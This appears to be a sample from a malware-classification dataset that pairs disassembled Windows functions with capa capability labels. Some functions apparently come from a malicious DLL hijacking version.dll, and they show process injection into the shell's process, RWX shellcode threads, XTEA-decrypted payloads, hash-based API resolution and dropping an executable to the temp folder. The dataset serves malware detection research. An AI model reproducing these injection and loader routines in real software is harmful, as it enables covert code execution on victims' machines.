joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4d0ab0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d1b90
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d14b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f4108]
test eax, eax
je 0x2fc4d154a
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f4110]
mov qword [rbp - 8], rax
jmp 0x2fc4d152e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d1522
cmp qword [rbp - 0x10], 0
je 0x2fc4d1522
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d14e8
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d154b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d1650
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d1678
mov eax, 0
jmp 0x2fc4d16c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d16a1
mov eax, 0
jmp 0x2fc4d16c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d16c1
mov eax, 0
jmp 0x2fc4d16c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d16cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d174a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d1741
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d1741
mov rax, qword [rbp - 8]
jmp 0x2fc4d175f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d1714
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1800012e2
Capabilities:
Encode data using xor

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x28
lea rbx, str.WAREZD_OWNFOR_FORUMR_UBOARD_COMINC_RACKWE_TRUSTW_AREZDO_WNWD
lea r14, [0x1800030c8]
mov r15, qword [rbx]
xor qword [r14], r15
add r14, 8
add rbx, 8
cmp dword [r14], 0
jne 0x1800012f9
add rsp, 0x28
pop r15
pop r14
pop rbx
ret

Function at 0x1800013a2
Capabilities:
Get common file path

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x230
lea rcx, [rbp - 0x210]
mov rdx, 0x208
call sub.kernel32.dll_GetSystemDirectoryW
lea rcx, [rbp - 0x210]
movabs rdx, str._version.dll
call sub.kernel32.dll_lstrcatW
lea rcx, [rbp - 0x210]
call sub.kernel32.dll_LoadLibraryW
mov qword [rbp - 8], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.GetFileVersionInfoA
call fcn.180001000
mov qword [0x180003350], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.GetFileVersionInfoW
call fcn.180001000
mov qword [0x180003358], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.GetFileVersionInfoExW
call fcn.180001000
mov qword [0x180003360], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.GetFileVersionInfoSizeExW
call fcn.180001000
mov qword [0x180003368], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.GetFileVersionInfoSizeA
call fcn.180001000
mov qword [0x180003370], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.GetFileVersionInfoSizeW
call fcn.180001000
mov qword [0x180003378], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.VerQueryValueA
call fcn.180001000
mov qword [0x180003380], rax
nop
mov rcx, qword [rbp - 8]
movabs rdx, str.VerQueryValueW
call fcn.180001000
mov qword [0x180003388], rax
add rsp, 0x230
leave
ret
Function at 0x180001aac
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov eax, dword [section..data]
xor ebx, ebx
cmp eax, 0x1e0
ja 0x180001bc2
test al, 7
jne 0x180001bc2
mov rcx, qword [0x180005200]
mov r8, rax
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbp, rax
cmp rax, rbx
je 0x180001bc2
mov eax, dword [section..data]
lea r9, [0x180005018]
lea r8, [0x180005008]
lea rcx, [0x180005020]
mov rdx, rbp
mov dword [rsp + 0x20], eax
call fcn.180002630
mov r8d, dword [section..data]
mov rdx, rbp
xor ecx, ecx
call sub.ntdll.dll_RtlComputeCrc32
cmp eax, dword [0x180005004]
jne 0x180001bb0
mov eax, dword [rbp]
mov r8d, dword [section..data]
mov rcx, qword [0x180005200]
xor edx, edx
mov dword [0x1800052a4], eax
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r11, rax
mov qword [0x180005210], rax
cmp rax, rbx
je 0x180001bb0
mov ecx, dword [section..data]
lea rsi, [rbp + 4]
mov rdi, rax
sub rcx, 4
mov edx, ebx
rep movsb byte [rdi], byte [rsi]
lea rsi, [0x180005240]
lea edi, [rbx + 1]
cmp byte [rax], bl
je 0x180001ba5
mov rcx, rsi
mov qword [rcx], r11
mov al, byte [r11]
add r11, rdi
cmp al, bl
jne 0x180001b90
add edx, edi
add rcx, 8
cmp byte [r11], bl
jne 0x180001b8d
mov ecx, edx
cmp edx, ebx
mov qword [rsi + rcx*8], rbx
cmovne ebx, edi
mov rcx, qword [0x180005200]
mov r8, rbp
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180001ccc
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
sub rsp, 0x50
jmp 0x180001ce4
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetShellWindow]
test rax, rax
je 0x180001cd9
lea rdx, [rsp + 0x88]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebx, dword [rsp + 0x88]
test ebx, ebx
jne 0x180001d15
mov eax, 0x10d2
jmp 0x180001e32
xor r8d, r8d
lea r9, [rsp + 0x80]
mov dl, 1
lea ecx, [r8 + 0x14]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov r8d, ebx
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x180001e28
movsxd rcx, dword [0x18000003c]
and qword [rsp + 0x90], 0
and qword [rsp + 0x88], 0
lea r13, [0x180000000]
mov r9d, 0x3000
xor edx, edx
mov ebp, dword [rcx + r13 + 0x50]
mov rcx, rax
mov ebx, 0x80004005
mov r8, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x180001e30
movsxd rcx, dword [0x18000003c]
lea rax, [rsp + 0x90]
mov r9, rbp
mov qword [rcx + r13 + 0x30], r13
mov r8, r13
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001e30
and qword [rsp + 0x48], 0
lea rcx, [0x180002178]
mov rax, rsi
sub rax, r13
xor r9d, r9d
xor r8d, r8d
add rax, rcx
lea rcx, [rsp + 0x88]
xor edx, edx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rax
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, rdi
call sub.ntdll.dll_RtlCreateUserThread
mov ebx, eax
test eax, eax
jne 0x180001e30
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180001e30
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov eax, ebx
add rsp, 0x50
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x180001e40
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x30
mov rsi, rcx
mov r12d, edx
xor ebx, ebx
lea r9d, [rbx + 0x40]
mov r8d, 0x3000
mov edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
cmp rax, rbx
jne 0x180001e87
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180001ed1
mov rdi, rax
mov rcx, r12
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [0x180005270]
cmp rcx, rbx
je 0x180001eb5
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x180005270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x180005270], rbx
mov r9d, 1
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop r12
ret
Function at 0x180002374
Capabilities:
Check mutex on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0xe0
xor ebx, ebx
lea r9d, [rbx + 0x30]
lea r10d, [rbx + 0x25]
lea edi, [rbx + 0x58]
mov word [rsp + 0x48], di
mov word [rsp + 0x52], di
mov word [rsp + 0x66], di
mov word [rsp + 0x44], r9w
mov word [rsp + 0x4e], r9w
mov word [rsp + 0x58], r9w
mov word [rsp + 0x62], r9w
lea edx, [rbx + 0x2d]
lea ecx, [rbx + 0x34]
mov word [rsp + 0x50], cx
mov word [rsp + 0x5a], cx
mov word [rsp + 0x64], cx
mov word [rsp + 0x4a], dx
mov word [rsp + 0x54], dx
mov word [rsp + 0x5e], dx
mov word [rsp + 0x68], dx
mov word [rsp + 0x42], r10w
mov word [rsp + 0x4c], r10w
mov word [rsp + 0x56], r10w
mov word [rsp + 0x60], r10w
lea r8d, [rbx + 0x38]
mov word [rsp + 0x46], r8w
lea eax, [rbx + 0x7b]
mov word [rsp + 0x40], ax
lea eax, [rbx + 0x78]
mov word [rsp + 0x5c], ax
mov word [r11 - 0x7c], r9w
mov word [r11 - 0x7e], r10w
mov word [rsp + 0x70], di
mov word [rsp + 0x6e], cx
mov word [r11 - 0x72], r8w
mov r8d, dword [0x18000521c]
mov word [r11 - 0x74], r9w
mov word [r11 - 0x76], r10w
xor r8d, 0x3773ad29
mov word [rsp + 0x78], di
lea eax, [rbx + 0x7d]
mov word [rsp + 0x7a], ax
mov eax, r8d
mov word [rsp + 0x7c], bx
shl eax, 0xd
xor r8d, eax
mov eax, r8d
shr eax, 0x11
xor r8d, eax
mov eax, r8d
shl eax, 5
xor r8d, eax
mov r9d, r8d
shl r9d, 0xd
xor r9d, r8d
mov eax, r9d
shr eax, 0x11
xor r9d, eax
mov eax, r9d
shl eax, 5
xor r9d, eax
mov edi, r9d
shl edi, 0xd
xor edi, r9d
mov eax, edi
shr eax, 0x11
xor edi, eax
mov eax, edi
shl eax, 5
xor edi, eax
mov ecx, edi
shl ecx, 0xd
xor ecx, edi
mov eax, ecx
shr eax, 0x11
xor ecx, eax
mov edx, ecx
shl edx, 5
xor edx, ecx
movzx ecx, di
shr edi, 0x10
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x30], ecx
movzx eax, r9w
lea rcx, [r11 - 0x68]
lea rdx, [rsp + 0x40]
shr r9d, 0x10
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
lea rdi, [rsp + 0x40]
lea ecx, [rbx + 0x3e]
rep stosb byte [rdi], al
lea edi, [rbx + 1]
lea r8, [rsp + 0x80]
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x180005270], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
cmove ebx, edi
xor eax, eax
lea rdi, [rsp + 0x80]
lea ecx, [rax + 0x60]
rep stosb byte [rdi], al
mov eax, ebx
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
Function at 0x180002540
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor ebx, ebx
mov rsi, r8
mov rbp, rdx
and qword [rax - 0x28], rbx
and dword [rax - 0x30], ebx
lea r8d, [rbx + 1]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rax - 0x38], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800025ea
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800025ea
mov edx, dword [rsp + 0x40]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x1800025ea
mov r8d, dword [rsp + 0x40]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800025ea
mov rcx, qword [rsp + 0x40]
cmp dword [rsp + 0x78], ecx
jne 0x1800025ea
mov dword [rsi], ecx
mov qword [rbp], rbx
xor esi, esi
jmp 0x180002608
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test rbx, rbx
je 0x180002608
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp rdi, 0xffffffffffffffff
je 0x180002617
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov eax, esi
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x180002630
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 0x18], r8
push rdi
push r12
push r13
push r14
push r15
mov ebp, dword [r9]
mov r12d, dword [r9 + 4]
mov r9d, dword [rsp + 0x50]
mov r11, rdx
mov r10, rcx
test r9d, r9d
je 0x180002719
mov eax, 0xc6ef3720
mov edi, dword [r10]
mov esi, dword [r10 + 4]
mov r9, qword [rsp + 0x40]
mov r8d, edi
mov ebx, esi
mov r13d, eax
mov r14, rax
mov r15d, 0x20
shr r14, 0xb
mov eax, r8d
mov ecx, r8d
shl eax, 4
shr ecx, 5
and r14d, 3
xor ecx, eax
mov eax, dword [r9 + r14*4]
add eax, r13d
add ecx, r8d
add r13d, 0x61c88647
xor ecx, eax
mov r14d, r13d
sub ebx, ecx
mov eax, ebx
mov edx, ebx
shr edx, 5
shl eax, 4
xor edx, eax
mov eax, r13d
and eax, 3
add edx, ebx
mov ecx, dword [r9 + rax*4]
add ecx, r13d
xor edx, ecx
sub r8d, edx
sub r15, 1
jne 0x180002689
mov r9d, dword [rsp + 0x50]
xor r8d, ebp
xor ebx, r12d
add r9d, 0xfffffff8
mov dword [r11], r8d
mov dword [r11 + 4], ebx
add r10, 8
add r11, 8
mov ebp, edi
mov r12d, esi
mov dword [rsp + 0x50], r9d
cmp r9d, 8
jb 0x180002719
mov eax, 0xc6ef3720
test r9d, r9d
jne 0x18000266c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180002734
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
movsxd rax, dword [rcx + 0x3c]
xor r10d, r10d
mov ebx, edx
mov r9d, dword [rax + rcx + 0x88]
mov r8, rcx
add r9, rcx
cmp dword [r9 + 0x18], r10d
jbe 0x18000278c
mov ecx, dword [r9 + 0x20]
add rcx, r8
mov edx, dword [rcx]
xor r11d, r11d
add rdx, r8
jmp 0x180002774
rol r11d, 7
movsx eax, al
xor r11d, eax
inc rdx
mov al, byte [rdx]
test al, al
jne 0x180002767
cmp r11d, ebx
je 0x180002794
inc r10d
add rcx, 4
cmp r10d, dword [r9 + 0x18]
jb 0x18000275d
xor eax, eax
mov rbx, qword [rsp + 8]
ret
mov eax, dword [r9 + 0x24]
add rax, r8
movzx edx, word [rax + r10*2]
mov eax, dword [r9 + 0x1c]
lea rcx, [r8 + rax]
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x18000278e

Function at 0x1800027b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov byte [rsp + 8], cl
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x40
mov rcx, qword [0x180005200]
and qword [rsp + 0x30], 0
mov r12, r8
mov r13, rdx
mov ebx, 0x2b
xor edx, edx
mov r8, rbx
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbp, rax
test rax, rax
jne 0x1800027fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x18000292e
mov rdi, rax
lea rsi, [0x180005280]
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
lea rdi, [rax + 0x28]
lea rsi, [rsp + 0x70]
mov ecx, 1
lea r9, [rsp + 0x88]
lea r8, [rsp + 0x30]
rep movsb byte [rdi], byte [rsi]
lea rdi, [rax + 0x29]
lea rsi, [0x180005220]
mov ecx, 2
mov edx, ebx
rep movsb byte [rdi], byte [rsi]
mov rcx, rax
call fcn.1800012f8
mov rbx, qword [rsp + 0x30]
mov edi, eax
test eax, eax
jne 0x180002905
cmp dword [rsp + 0x88], 9
lea edi, [rax + 0xd]
jb 0x180002905
mov eax, dword [0x180005280]
cmp dword [rbx + 4], eax
jne 0x180002905
mov eax, dword [rsp + 0x88]
mov ecx, dword [rbx]
sub rax, 4
cmp rcx, rax
jne 0x180002905
lea eax, [rcx - 5]
mov dword [rbx], eax
cmp eax, 0x20
ja 0x180002898
mov edi, 0x10d2
jmp 0x180002905
lea rsi, [rbx + 0x29]
add eax, 0xffffffe0
lea r9, [rbx + 0x21]
lea r8, [rbx + 0x11]
mov rdx, rsi
mov rcx, rsi
mov edi, 0x17
mov dword [rsp + 0x20], eax
call fcn.180002630
mov r8d, dword [rbx + 9]
mov rdx, rsi
xor ecx, ecx
call sub.ntdll.dll_RtlComputeCrc32
cmp eax, dword [rbx + 0xd]
jne 0x180002905
mov edx, dword [rbx + 9]
lea r9d, [rdi - 0x13]
xor ecx, ecx
mov r8d, 0x3000
mov dword [r12], edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [r13], rax
test rax, rax
jne 0x1800028fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x180002905
mov ecx, dword [r12]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
xor edi, edi
mov rcx, qword [0x180005200]
mov r8, rbp
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test rbx, rbx
je 0x18000292e
mov rcx, qword [0x180005200]
mov r8, rbx
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, edi
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180002c78
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x50
mov edx, 0x25
mov rdi, rcx
xor ebx, ebx
mov word [rax - 0x28], dx
lea ecx, [rdx + 0x4e]
mov rsi, r8
mov word [rax - 0x26], cx
lea eax, [rdx + 0x37]
mov word [rsp + 0x40], cx
mov word [rsp + 0x34], ax
lea eax, [rdx + 0xb]
mov word [rsp + 0x36], dx
mov word [rsp + 0x38], ax
lea eax, [rdx + 0x13]
mov word [rsp + 0x3e], dx
mov word [rsp + 0x3a], ax
lea eax, [rdx + 0x53]
mov rdx, rdi
lea ecx, [rax + 0x7e]
mov word [rsp + 0x3c], ax
mov word [rsp + 0x42], bx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, ebx
jne 0x180002cee
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180002d2d
mov r9d, dword [0x180005208]
lea rdx, [rsp + 0x30]
mov r8, rdi
mov eax, r9d
mov rcx, rdi
mov qword [rsp + 0x20], rsi
shl eax, 0xd
xor r9d, eax
mov eax, r9d
shr eax, 0x11
xor r9d, eax
mov eax, r9d
shl eax, 5
xor r9d, eax
mov dword [0x180005208], r9d
call qword [sym.imp.USER32.dll_wsprintfW]
mov rsi, qword [rsp + 0x68]
xor eax, eax
lea rdi, [rsp + 0x30]
lea ecx, [rax + 0x14]
rep stosb byte [rdi], al
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180003648
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
mov esi, r8d
mov rbp, rdx
mov dword [rax - 0x20], 0x80
xor r8d, r8d
mov edx, 0x40000000
xor r9d, r9d
or ebx, 0xffffffff
mov dword [rax - 0x28], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800036d3
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, esi
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800036c1
cmp dword [rsp + 0x68], esi
jne 0x1800036c1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
je 0x1800036d3
mov eax, ebx
jmp 0x1800036d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180003a58
Capabilities:
Create process on windows
Move file

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x300
mov eax, 0x2e
mov rsi, rcx
mov edi, edx
lea ecx, [rax + 0x37]
mov word [rsp + 0x50], ax
lea r8, [rsp + 0x50]
lea eax, [rcx + 0x13]
mov word [rsp + 0x52], cx
mov word [rsp + 0x56], cx
lea rcx, [r11 - 0x218]
xor ebp, ebp
mov edx, 0x104
mov word [rsp + 0x54], ax
mov word [rsp + 0x58], bp
call fcn.180002c78
mov ebx, eax
cmp eax, ebp
jne 0x180003b5d
lea rcx, [rsp + 0xf0]
mov r8d, edi
mov rdx, rsi
call fcn.180003648
mov ebx, eax
cmp eax, ebp
jne 0x180003b5d
xor eax, eax
lea edx, [rbp + 0x68]
lea rdi, [rsp + 0x80]
mov rcx, rdx
xor r9d, r9d
xor r8d, r8d
rep stosb byte [rdi], al
mov dword [rsp + 0x80], edx
lea rdi, [rsp + 0x60]
lea ecx, [rbp + 0x18]
lea rdx, [rsp + 0xf0]
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, ebp
je 0x180003b41
mov ebx, ebp
jmp 0x180003b49
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
xor edx, edx
lea rcx, [rsp + 0xf0]
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
xor eax, eax
lea r11, [rsp + 0x300]
lea rdi, [rsp + 0xf0]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov ecx, 0x20a
rep stosb byte [rdi], al
lea ecx, [rax + 0xa]
lea rdi, [rsp + 0x50]
rep stosb byte [rdi], al
mov eax, ebx
mov rbx, qword [r11 + 0x10]
mov rsp, r11
pop rdi
ret
Function at 0x140017487
Capabilities:
Identify system language via api

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp - 8], 0
mov eax, dword [rbp + 0x10]
cdqe
mov rcx, rax
call fcn.1400e5660
call fcn.1400e50b0
mov qword [rbp - 0x20], 0
call fcn.1400e5120
call fcn.1400e5120
call sub.KERNEL32.dll_GetUserDefaultLangID
mov qword [rbp - 0x10], rax
call fcn.1400e5180
mov edx, eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.1400e31b0
call fcn.1400e5180
mov edx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400e53d0
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.1400e2a20
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 3
jne 0x140017539
call fcn.1400e5120
lea rax, [0x140847f60]
mov rcx, rax
call fcn.1400e5360
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.1400e5360
call fcn.1400e5180
mov edx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400e53d0
jmp 0x14001753a
nop
call fcn.1400e5120
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.1400e5360
call fcn.1400e52d0
mov qword [rbp - 8], rax
nop
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.1400e5630
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret